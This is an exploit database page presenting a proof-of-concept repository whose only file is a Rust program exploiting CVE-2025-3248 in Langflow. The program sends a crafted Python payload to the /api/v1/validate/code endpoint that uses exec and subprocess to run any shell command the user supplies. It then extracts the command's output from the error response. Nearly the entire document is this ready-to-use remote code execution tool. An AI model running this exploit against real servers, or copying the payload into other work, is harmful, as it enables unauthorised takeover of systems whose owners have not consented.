Exploit database

GH-ec2059eaa6b2537f076b077f724bee65

b0ysie7e/cve-2025-3248-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-3248

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
b0ysie7e/cve-2025-3248-pocRevision 045b556d2ddd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main.rs

Rust · 4,931 bytes
use std::{collections::HashMap, env};

fn main() {
    get_arg();
}

fn get_arg(){
    let args: Vec<String> = env::args().collect();
    let mut base_url= None;
    let mut command= None;
    
    for i in 1..args.len(){
        if args[i] == "--url" && (1 + i) < args.len(){
            base_url = Some(&args[1+i]);
        }else {
            if args[i]=="--command" && (i + 1)< args.len() {
                command = Some(&args[i+1]);                                
            }
        }
    }

    match(base_url, command){
        (Some(base_url), Some(command)) =>{
            print!("[+] Langflow RCE Exploit - CVE-2025-3248\n");
            print!("[+] url :{}, \n[+] Command: {}\n", base_url, command);
            let url_target= format!("{}/api/v1/validate/code",base_url);
            request_payload(url_target.to_string(),command.to_string());
            
        }
        (Some(_base_url), None) =>{
            print!("[+] Langflow RCE Exploit - CVE-2025-3248\n");
            print!("[+] Error!\n");
            print!("[+] Examples:\n");
            print!("[+] Use: {} --url <URL> --command <command>\n", args[0]);
            print!("[+] {} --url http://127.0.0.1:7860 --command id\n", args[0]);            
        }
        (None, Some(_command)) =>{
            print!("[+] Langflow RCE Exploit - CVE-2025-3248\n");
            print!("[+] Error!\n");
            print!("[+] Examples:\n");
            print!("[+] Use: {} --url <URL> --command <command>\n", args[0]);
            print!("[+] {} --url http://127.0.0.1:7860 --command id\n", args[0]);       
            
        }
        (None, None) =>{
            print!("[+] Langflow RCE Exploit - CVE-2025-3248\n");
            print!("[+] Error!\n");
            print!("[+] Examples:\n");
            print!("[+] Use: {} --url <URL> --command <command>\n", args[0]);
            print!("[+] {} --url http://127.0.0.1:7860 --command id\n", args[0]);    
            
        }


    }
}

fn request_payload(url_target: String, command_execute: String){
    let mut payload_map= HashMap::new();

    let payload = format!(
    r#"def run(cd=exec('raise Exception(__import__("subprocess").check_output("{}", shell=True))')):
        pass"#,command_execute);

   payload_map.insert("code", &payload);

    let client = reqwest::blocking::Client::new();
    let send_request = client.post(&url_target)
    .header("Content-Type", "application/json")
    .header("User-Agent", "Mozilla/5.0")
    .json(&payload_map)
    .send();

    if send_request.is_ok() {
        let response = send_request.unwrap();
        println!("Status: {}", response.status());

        match response.text() {
            Ok(body) => {
                match extract_command_output(&body){
                    Some(output) => {
                        print!("{}",output);
                    }
                    None =>{
                        print!("[+] Error!");
                        print!("[+] extracting output")
                    }
                }                
            }
            Err(e) => {
                println!("Error reading response body: {}", e);
            }
        }

    } else {
        println!("http send error: {:?}", send_request.err());
    }
    

}

fn extract_command_output(response_body: &str) -> Option<String> {

    let json: serde_json::Value = match serde_json::from_str(response_body) {
        Ok(j) => j,
        Err(e) => {
            println!("[-] Error parsing JSON: {}", e);
            return None;
        }
    };
    
    let errors_array = match json.get("function") {
        Some(function) => match function.get("errors") {
            Some(errors) => errors.as_array(),
            None => {
                println!("[-] No 'errors' field in function");
                return None;
            }
        },
        None => {
            println!("[-] No 'function' field in response");
            return None;
        }
    };

    let first_error = match errors_array {
        Some(errors) if !errors.is_empty() => &errors[0],
        _ => {
            println!("[-] No errors in function.errors array");
            return None;
        }
    };
    
    let error_str = match first_error.as_str() {
        Some(s) => s,
        None => {
            println!("[-] First error is not a string");
            return None;
        }
    };
    
    if !error_str.starts_with("b'") || !error_str.ends_with("'") {
        println!("[-] Invalid format, expected b'...', got: {}", 
                 &error_str[..error_str.len().min(50)]);
        return None;
    }
    
    let content = &error_str[2..error_str.len() - 1];
    let decoded = content
        .replace("\\n", "\n")
        .replace("\\t", "\t")
        .replace("\\r", "\r")
        .replace("\\'", "'")
        .replace("\\\"", "\"")
        .replace("\\\\", "\\")
        .trim()
        .to_string();
    
    Some(decoded)
}